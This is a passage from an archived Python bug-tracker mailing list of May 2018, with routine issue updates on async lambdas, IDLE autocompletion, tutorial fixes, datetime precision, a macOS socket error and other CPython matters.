syntax, as a shortcut for coroutines. I'm not experienced enough to write a PEP or edit the C source, but I have some ideas for syntax: import asyncio foo = async lambda a,b: 5 + await bar(b) ---------- components: asyncio messages: 316304 nosy: Noah Simon, asvetlov, yselivanov priority: normal severity: normal status: open title: Asynchronous lambda syntax type: enhancement versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 23:24:33 2018 From: report at bugs.python.org (Noah Simon) Date: Wed, 09 May 2018 03:24:33 +0000 Subject: [issue33447] Asynchronous lambda syntax In-Reply-To: <1525836160.23.0.682650639539.issue33447@psf.upfronthosting.co.za> Message-ID: <1525836273.59.0.682650639539.issue33447@psf.upfronthosting.co.za> Noah Simon added the comment: Actually, you wouldn't even need to import asyncio. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 00:16:38 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Wed, 09 May 2018 04:16:38 +0000 Subject: [issue33445] test_cprofile should fail instead of displaying a message In-Reply-To: <1525789798.41.0.682650639539.issue33445@psf.upfronthosting.co.za> Message-ID: <1525839398.23.0.682650639539.issue33445@psf.upfronthosting.co.za> Benjamin Peterson added the comment: New changeset ac9240b9be31d073d1b2e50ce53481ff0fc9ed23 by Benjamin Peterson (jdemeyer) in branch 'master': closes bpo-33445: fail properly in test_cprofile() (GH-6727) https://github.com/python/cpython/commit/ac9240b9be31d073d1b2e50ce53481ff0fc9ed23 ---------- nosy: +benjamin.peterson resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 00:17:45 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 04:17:45 +0000 Subject: [issue33445] test_cprofile should fail instead of displaying a message In-Reply-To: <1525789798.41.0.682650639539.issue33445@psf.upfronthosting.co.za> Message-ID: <1525839465.07.0.682650639539.issue33445@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6425 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 00:18:44 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 04:18:44 +0000 Subject: [issue33445] test_cprofile should fail instead of displaying a message In-Reply-To: <1525789798.41.0.682650639539.issue33445@psf.upfronthosting.co.za> Message-ID: <1525839524.34.0.682650639539.issue33445@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6426 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 00:38:03 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 04:38:03 +0000 Subject: [issue33445] test_cprofile should fail instead of displaying a message In-Reply-To: <1525789798.41.0.682650639539.issue33445@psf.upfronthosting.co.za> Message-ID: <1525840683.06.0.682650639539.issue33445@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 263523ae217e1af580628b4fe0609194823a51aa by Miss Islington (bot) in branch '3.7': closes bpo-33445: fail properly in test_cprofile() (GH-6727) https://github.com/python/cpython/commit/263523ae217e1af580628b4fe0609194823a51aa ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 00:59:57 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 04:59:57 +0000 Subject: [issue33445] test_cprofile should fail instead of displaying a message In-Reply-To: <1525789798.41.0.682650639539.issue33445@psf.upfronthosting.co.za> Message-ID: <1525841997.3.0.682650639539.issue33445@psf.upfronthosting.co.za> miss-islington added the comment: New changeset c925108b991b9c5f0402feb0e7f725ee3ac7da11 by Miss Islington (bot) in branch '3.6': closes bpo-33445: fail properly in test_cprofile() (GH-6727) https://github.com/python/cpython/commit/c925108b991b9c5f0402feb0e7f725ee3ac7da11 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 01:24:25 2018 From: report at bugs.python.org (Shlomo Anglister) Date: Wed, 09 May 2018 05:24:25 +0000 Subject: [issue33296] datetime.datetime.utcfromtimestamp call decimal causes precision loss In-Reply-To: <1523956606.05.0.682650639539.issue33296@psf.upfronthosting.co.za> Message-ID: <1525843465.02.0.682650639539.issue33296@psf.upfronthosting.co.za> Shlomo Anglister added the comment: Thanks @serhiy.storchaka and @corona10 ! I read it, documented the relation and failed to see the duplication. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 01:27:36 2018 From: report at bugs.python.org (Shlomo Anglister) Date: Wed, 09 May 2018 05:27:36 +0000 Subject: [issue23607] Inconsistency in datetime.utcfromtimestamp(Decimal) In-Reply-To: <1425810901.79.0.570490913636.issue23607@psf.upfronthosting.co.za> Message-ID: <1525843656.88.0.682650639539.issue23607@psf.upfronthosting.co.za> Change by Shlomo Anglister : ---------- nosy: +anglister _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 01:30:52 2018 From: report at bugs.python.org (Shlomo Anglister) Date: Wed, 09 May 2018 05:30:52 +0000 Subject: [issue33296] datetime.datetime.utcfromtimestamp call decimal causes precision loss In-Reply-To: <1525843465.02.0.682650639539.issue33296@psf.upfronthosting.co.za> Message-ID: Shlomo Anglister added the comment: This issue is in review stage for a long time. What's holding it? On Wed, May 9, 2018 at 8:24 AM, Shlomo Anglister wrote: > > Shlomo Anglister added the comment: > > Thanks @serhiy.storchaka and @corona10 ! > I read it, documented the relation and failed to see the duplication. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 02:26:26 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 09 May 2018 06:26:26 +0000 Subject: [issue27609] IDLE completions: format, factor, and fix In-Reply-To: <1469404988.71.0.674184496094.issue27609@psf.upfronthosting.co.za> Message-ID: <1525847186.2.0.682650639539.issue27609@psf.upfronthosting.co.za> Terry J. Reedy added the comment: In re-verifying #27675, the color bug seems to be gone. The completion bug is still here, at least on Windows. It would be good to sort the issues by whether they appear to affect autocomplete.py or autocomplete_w.py or both. ---------- nosy: +csabella versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 02:29:06 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 09 May 2018 06:29:06 +0000 Subject: [issue27675] IDLE file completion has 2 bugs depending on open quote used In-Reply-To: <1470237103.73.0.416964160416.issue27675@psf.upfronthosting.co.za> Message-ID: <1525847346.28.0.682650639539.issue27675@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I believe the report in August 2016 was about the time of the preliminary.0a4 release, months before the final 3.6.0 release. Something could have easily changed after. I should have been more detailed and accurate is what I wrote. In paragraph 2, I said I observed the color bug with ' or '''. In paragraph 4, I said that the color bug depended on the number rather than type of quote. The later was accurate. My C: directory contains a Logs directory. If in 3.5.4, I type '/, the / is green and the selction box appears. When I type L, the L is green and the selection moves to Logs. When I type o, the o is white (I am using IDLEDark). Or if I backspace and type L, the L is white. Or if I move with the cursor, the inserted word is white. This is not true in 3.6.5. The color bug seems fixed. The autocompletion window, which handles interaction when the window is open, was patched in #24570 for a Mac-specific bug. The completion bug remains in 3.6.5 and newer. If I type '/L' or '''/L''', L is not completed to Logs and the box does not disappear. The opposite is true for " and """. "/L" completes to "/Logs" and the box goes away. Also, "/L/ completes to "/Logs/, leaving the box open for selection of a subdirectory. "// does not complete to the first item in the box -- at least one action is needed. The effect of // is analogous to .. in attribute completion. []. brings up the box. A second . completes the selected name and brings up a new box with subattributes. This does not require an inbetween action. Cheryl, is this clear enough to reproduce? It is possible that Linux does not have the bug. It should be in autocomplete_w.py and we already know that this has system-specific behavior. I would be reluctant do anything beyond trivial without improving the autocomplete tests. I added #30348 and #30666 as dependencies, at least for the present. This issue is a dependency master autocompletion issue #27609. ---------- dependencies: +IDLE: Add test_autocomplete unittest, IDLE: add tests for autocomplete window. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 03:13:07 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 07:13:07 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525849987.34.0.682650639539.issue13525@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Error message was fixed. In all supported versions it is: $ ./python cp_1252broken.py File "cp_1252broken.py", line 1 SyntaxError: encoding problem: cp-1252 But the tutorial still contains non-working example. This is an easy issue, but it was open for long time. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 03:14:08 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 07:14:08 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525850048.91.0.682650639539.issue13525@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6427 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 04:09:25 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 08:09:25 +0000 Subject: [issue26701] Documentation for int constructor mentions __int__ but not __trunc__ In-Reply-To: <1459933312.1.0.479151701513.issue26701@psf.upfronthosting.co.za> Message-ID: <1525853365.86.0.682650639539.issue26701@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6428 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 04:10:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 08:10:58 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525853458.21.0.682650639539.issue13525@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset ddb6215a55b0218b621d5cb755e9dfac8dab231a by Serhiy Storchaka in branch 'master': bpo-13525: Fix incorrect encoding name in the tutorial example. (GH-6738) https://github.com/python/cpython/commit/ddb6215a55b0218b621d5cb755e9dfac8dab231a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 04:11:14 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 08:11:14 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525853474.9.0.682650639539.issue13525@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6429 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 04:12:08 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 08:12:08 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525853528.7.0.682650639539.issue13525@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6430 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 04:19:12 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 08:19:12 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525853952.96.0.682650639539.issue13525@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6431 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 04:40:47 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 08:40:47 +0000 Subject: [issue6673] Uncaught comprehension SyntaxError eats up all memory In-Reply-To: <1249826985.41.0.2934011008.issue6673@psf.upfronthosting.co.za> Message-ID: <1525855247.65.0.682650639539.issue6673@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: "yield" in comprehensions is deprecated in 3.7: ../issue6673.py:22: DeprecationWarning: 'yield' inside list comprehension target.send([ (yield) for i in range(chunk_size) ]) and an error in 3.8: File "../issue6673.py", line 22 target.send([ (yield) for i in range(chunk_size) ]) ^ SyntaxError: 'yield' inside list comprehension ---------- nosy: +serhiy.storchaka resolution: -> duplicate stage: needs patch -> resolved status: open -> closed superseder: -> yield expression inside generator expression does nothing _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 04:54:41 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 08:54:41 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525856081.19.0.682650639539.issue13525@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 8ffff34ea12ca6478d73a337ce52f33660f6f174 by Miss Islington (bot) in branch '3.7': bpo-13525: Fix incorrect encoding name in the tutorial example. (GH-6738) https://github.com/python/cpython/commit/8ffff34ea12ca6478d73a337ce52f33660f6f174 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:00:24 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 09:00:24 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525856424.1.0.682650639539.issue13525@psf.upfronthosting.co.za> miss-islington added the comment: New changeset fa40fc0593012893e447875632e9ed3df277561f by Miss Islington (bot) in branch '3.6': bpo-13525: Fix incorrect encoding name in the tutorial example. (GH-6738) https://github.com/python/cpython/commit/fa40fc0593012893e447875632e9ed3df277561f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:10:37 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:10:37 +0000 Subject: [issue32055] Reconsider comparison chaining for containment tests In-Reply-To: <1510904597.47.0.213398074469.issue32055@psf.upfronthosting.co.za> Message-ID: <1525857037.64.0.682650639539.issue32055@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: On other hand, beginners are confused even by chained "==". There are regular reports about this on the tracker and questions on Python-related resources. I have found the chained "in" is useful in the following case len(string) >= 2 and string[0] == string[-1] in ("'", '"') for testing if the string is quoted with a single or double quotes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:20:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:20:46 +0000 Subject: [issue32189] SyntaxError for yield expressions inside comprehensions & genexps In-Reply-To: <1512104258.87.0.213398074469.issue32189@psf.upfronthosting.co.za> Message-ID: <1525857646.66.0.682650639539.issue32189@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:33:06 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:33:06 +0000 Subject: [issue32288] Inconsistent behavior with slice assignment? In-Reply-To: <1513079903.38.0.213398074469.issue32288@psf.upfronthosting.co.za> Message-ID: <1525858386.96.0.682650639539.issue32288@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: So this issue can be closed now? ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:35:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:35:38 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525858538.16.0.682650639539.issue13525@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset d7e783b17feaedbe0f5b30467cb7f43cefadf904 by Serhiy Storchaka in branch '2.7': [2.7] bpo-13525: Fix incorrect encoding name in the tutorial example. (GH-6738). (GH-6744) https://github.com/python/cpython/commit/d7e783b17feaedbe0f5b30467cb7f43cefadf904 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:36:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:36:35 +0000 Subject: [issue13525] Tutorial: Example of Source Code Encoding triggers error In-Reply-To: <1322918242.84.0.309365391343.issue13525@psf.upfronthosting.co.za> Message-ID: <1525858595.02.0.682650639539.issue13525@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.6, Python 3.7, Python 3.8 -Python 3.2, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:39:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:39:35 +0000 Subject: [issue33311] cgitb: remove parentheses when the error is in module In-Reply-To: <1524076792.36.0.682650639539.issue33311@psf.upfronthosting.co.za> Message-ID: <1525858775.22.0.682650639539.issue33311@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 8cf4b34b3665b8bb39ea7111e6b5c3410899d3e4 by Serhiy Storchaka (sblondon) in branch 'master': bpo-33311: Do not display parameters displayed in parentheses for module call. (GH-6677) https://github.com/python/cpython/commit/8cf4b34b3665b8bb39ea7111e6b5c3410899d3e4 ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:39:56 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:39:56 +0000 Subject: [issue33311] cgitb: remove parentheses when the error is in module In-Reply-To: <1524076792.36.0.682650639539.issue33311@psf.upfronthosting.co.za> Message-ID: <1525858796.83.0.682650639539.issue33311@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 05:54:55 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 09:54:55 +0000 Subject: [issue32626] Subscript unpacking raises SyntaxError In-Reply-To: <1516660799.03.0.467229070634.issue32626@psf.upfronthosting.co.za> Message-ID: <1525859695.24.0.682650639539.issue32626@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Issue32117 looks considering a more general question about iterable unpacking. ---------- nosy: +serhiy.storchaka resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Tuple unpacking in return and yield statements _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 06:14:43 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 10:14:43 +0000 Subject: [issue33038] GzipFile doesn't always ignore None as filename In-Reply-To: <1520642770.84.0.467229070634.issue33038@psf.upfronthosting.co.za> Message-ID: <1525860883.52.0.682650639539.issue33038@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset afe5f633e49e0e873d42088ae56819609c803ba0 by Serhiy Storchaka (Bo Bayles) in branch '2.7': bpo-33038: Fix gzip.GzipFile for file objects with a non-string name attribute. (GH-6095) https://github.com/python/cpython/commit/afe5f633e49e0e873d42088ae56819609c803ba0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 06:17:47 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 10:17:47 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1525861067.18.0.682650639539.issue33414@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 06:19:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 09 May 2018 10:19:46 +0000 Subject: [issue33038] GzipFile doesn't always ignore None as filename In-Reply-To: <1520642770.84.0.467229070634.issue33038@psf.upfronthosting.co.za> Message-ID: <1525861186.44.0.682650639539.issue33038@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 07:43:25 2018 From: report at bugs.python.org (Mark Lawrence) Date: Wed, 09 May 2018 11:43:25 +0000 Subject: [issue16733] Solaris ctypes_test failures In-Reply-To: <1355959487.2.0.457059136813.issue16733@psf.upfronthosting.co.za> Message-ID: <1525866205.09.0.682650639539.issue16733@psf.upfronthosting.co.za> Change by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 08:19:35 2018 From: report at bugs.python.org (steverweber) Date: Wed, 09 May 2018 12:19:35 +0000 Subject: [issue30167] site.main() does not work on Python 3.6 and superior if PYTHONSTARTUP is set In-Reply-To: <1493196813.64.0.567701209744.issue30167@psf.upfronthosting.co.za> Message-ID: <1525868375.02.0.682650639539.issue30167@psf.upfronthosting.co.za> Change by steverweber : ---------- keywords: +patch pull_requests: +6432 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 10:39:41 2018 From: report at bugs.python.org (Neil Girdhar) Date: Wed, 09 May 2018 14:39:41 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525876781.33.0.682650639539.issue33419@psf.upfronthosting.co.za> Neil Girdhar added the comment: It seems like Python doesn't do very well with dynamically-generated classes. For that reason, I'm losing interest on this feature. Is there any interest in merging the documentation changes here: https://bugs.python.org/review/33419/diff/20050/Doc/library/functools.rst ? I think we should use the terminology "partial function application" (see https://en.wikipedia.org/wiki/Partial_application) rather than "partial function". Also, the existing paragraphs change subject from talking about the library function (e.g., partial) to the function returned by the library function, which is confusing. I thought we should break them up. Finally, the term "freezing" an interface is a bit weird since Python uses freezing in other another context to mean immutable (frozenset), and the interface returned by partial is overridable. Also, I realize I didn't wait very long, but I think it would be best in the future to register one's "?1" on pyhton-ideas before someone embarks on implementing something everyone else approved. This also happened with PEP 448 too after I'd worked on it for weeks, and it was very frustrating. Anyway, feel free to close. If this keeps coming up over the next few years, someone else can work from this patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 13:02:39 2018 From: report at bugs.python.org (vishva patel) Date: Wed, 09 May 2018 17:02:39 +0000 Subject: [issue33448] Output_Typo_Error Message-ID: <1525885359.71.0.682650639539.issue33448@psf.upfronthosting.co.za> New submission from vishva patel : There is an out[ut typo error in the documentation of python in the module (An Informal Introductio To Python) 3.1.2 section Strings the first example last output the output of: >>>Isn\'t is given as Isn\t #but it shuld be >>>Isn\'t Isn't so fix it ---------- messages: 316325 nosy: vishva_11 priority: normal severity: normal status: open title: Output_Typo_Error type: resource usage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 13:30:08 2018 From: report at bugs.python.org (Mark Dickinson) Date: Wed, 09 May 2018 17:30:08 +0000 Subject: [issue33448] Output_Typo_Error In-Reply-To: <1525885359.71.0.682650639539.issue33448@psf.upfronthosting.co.za> Message-ID: <1525887008.43.0.682650639539.issue33448@psf.upfronthosting.co.za> Mark Dickinson added the comment: I can't reproduce. I'm looking at https://docs.python.org/3.6/tutorial/introduction.html#strings, and when I test things in Python 3.6.5, I see exactly the same output as given in the documentation: Python 3.6.5 (default, Mar 29 2018, 15:37:32) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.39.2)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> '"Isn\'t," she said.' '"Isn\'t," she said.' >>> '"Isn\'t," she said.' '"Isn\'t," she said.' >>> print('"Isn\'t," she said.') "Isn't," she said. Please could you clarify? Perhaps you could copy and paste from an example interpreter session on your machine showing what you're seeing? ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 13:38:58 2018 From: report at bugs.python.org (Francois Labelle) Date: Wed, 09 May 2018 17:38:58 +0000 Subject: [issue33449] Documentation for email.charset confusing about the location of constants Message-ID: <1525887538.2.0.682650639539.issue33449@psf.upfronthosting.co.za> New submission from Francois Labelle : When mentioning the constants contained in the module email.charset, the documentation prefixes them with "Charset", for example: Charset.QP, Charset.BASE64, Charset.SHORTEST. This suggests that the constants can be found on the class "Charset" (uppercase first letter) in the module, while they are in fact contained in the the "charset" (lowercase first letter) module itself. This is probably a left-over from when the module was called email.Charset (in 2.2 I believe). Under Python 2.7, while the documentation uses the same nomenclature, at least the module is also importable under the name email.Charset so it makes more sense. ---------- assignee: docs at python components: Documentation messages: 316327 nosy: Francois Labelle, docs at python priority: normal severity: normal status: open title: Documentation for email.charset confusing about the location of constants type: enhancement versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 15:04:59 2018 From: report at bugs.python.org (Richard C) Date: Wed, 09 May 2018 19:04:59 +0000 Subject: [issue33450] unexpected EPROTOTYPE returned by sendto on MAC OSX Message-ID: <1525892699.63.0.682650639539.issue33450@psf.upfronthosting.co.za> New submission from Richard C : The following exception is raised unexpectedly on macOS versions 10.13, 10.12 & 10.11 at least. It appears to be macOS specific (works okay on Linux). Further information can be found at the following links: https://github.com/benoitc/gunicorn/issues/1487 http://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/ [2017-03-20 00:46:39 +0100] [79068] [ERROR] Socket error processing request. Traceback (most recent call last): File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/workers/async.py", line 66, in handle six.reraise(*sys.exc_info()) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/six.py", line 625, in reraise raise value File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/workers/async.py", line 56, in handle self.handle_request(listener_name, req, client, addr) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/workers/ggevent.py", line 152, in handle_request super(GeventWorker, self).handle_request(*args) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/workers/async.py", line 129, in handle_request six.reraise(*sys.exc_info()) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/six.py", line 625, in reraise raise value File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/workers/async.py", line 115, in handle_request resp.write(item) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/http/wsgi.py", line 362, in write util.write(self.sock, arg, self.chunked) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gunicorn-19.7.0-py3.6.egg/gunicorn/util.py", line 321, in write sock.sendall(data) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gevent-1.2.1-py3.6-macosx-10.12-x86_64.egg/gevent/_socket3.py", line 418, in sendall data_sent += self.send(data_memory[data_sent:], flags) File "/Users/ahmad/Projects/Side-Gigs/sa7beh-app/venv/lib/python3.6/site-packages/gevent-1.2.1-py3.6-macosx-10.12-x86_64.egg/gevent/_socket3.py", line 391, in send return _socket.socket.send(self._sock, data, flags) OSError: [Errno 41] Protocol wrong type for socket ---------- components: IO, macOS messages: 316328 nosy: ned.deily, racitup, ronaldoussoren priority: normal severity: normal status: open title: unexpected EPROTOTYPE returned by sendto on MAC OSX type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 16:28:31 2018 From: report at bugs.python.org (=?utf-8?q?Martin_Li=C5=A1ka?=) Date: Wed, 09 May 2018 20:28:31 +0000 Subject: [issue33294] Support complex expressions for py-print command. In-Reply-To: <1523948532.18.0.682650639539.issue33294@psf.upfronthosting.co.za> Message-ID: <1525897711.88.0.682650639539.issue33294@psf.upfronthosting.co.za> Martin Li?ka added the comment: May I please ping patch review.. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 16:43:58 2018 From: report at bugs.python.org (Jean-Louis Tamburini) Date: Wed, 09 May 2018 20:43:58 +0000 Subject: [issue33451] Start pyc file lock the file Message-ID: <1525898638.9.0.682650639539.issue33451@psf.upfronthosting.co.za> New submission from Jean-Louis Tamburini : Python v3.6.4:d48eceb Windows 10.0.16299 I search on Internet and I don't find why Python Interpreter (v3.6.4) do that. With python 2.7, I don't have this "problem". When I launch script like : c:\Python364\python.exe compile.py While the execution, I can rename/modify the file "compile.py". But, when I compile the file to .pyc (with py_compile with an another script), and I launch the pyc like : c:\Python364\python.exe dummy.pyc While the execution, I CAN'T rename/modify the file because is locked by Python Interpreter. It's normal ? ---------- components: Interpreter Core messages: 316330 nosy: Jean-Louis Tamburini priority: normal severity: normal status: open title: Start pyc file lock the file type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 16:50:00 2018 From: report at bugs.python.org (Rick Teachey) Date: Wed, 09 May 2018 20:50:00 +0000 Subject: [issue33452] add user notification that parent init will not be called in dataclass init method Message-ID: 